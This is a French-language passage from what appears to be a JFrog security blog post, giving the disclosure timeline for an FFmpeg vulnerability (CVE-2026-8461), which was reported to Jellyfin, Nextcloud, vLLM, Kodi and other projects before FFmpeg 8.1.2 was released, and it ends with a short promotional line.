24 mai 2026 L’équipe de recherche en sécurité de JFrog a signalé la vulnérabilité à l’équipe de sécurité de Jellyfin (security@jellyfin.org)
26 mai 2026 L’équipe de sécurité de Jellyfin a mis à jour sa version en amont
26 mai 2026 Signalé aux équipes de sécurité de : mpv, obsproject, photoprism, immich, et le rapport a été transmis au programme de primes aux bogues de Nextcloud
27 mai 2026 L’équipe de sécurité de Photoprism a ouvert un ticket sur son GitHub pour exclure une liste de formats et de codecs ffmpeg.

L’équipe Nextcloud sur HackerOne a répondu qu’elle considère cela comme un non-problème, étant donné que la vulnérabilité existe en dehors de Nextcloud.

31 mai 2026 Signalé à l’équipe de sécurité de vLLM
7 juin 2026 Signalé à l’équipe Kodi
17 juin 2026 FFmpeg a publié une version corrigée (8.1.2) contenant un correctif pour la CVE-2026-8461.
18 juin 2026 CVE publiée.
22 juin 2026 L’équipe de recherche en sécurité de JFrog publie cet article.

Rester en sécurité

Face à une surface d’attaque en constante expansion et à de nouvelles menaces découvertes chaque jour, il est particulièrement utile de rester informés des dernières vulnérabilités en ajoutant le JFrog Security Research Center à vos favoris et en consultant nos dernières découvertes.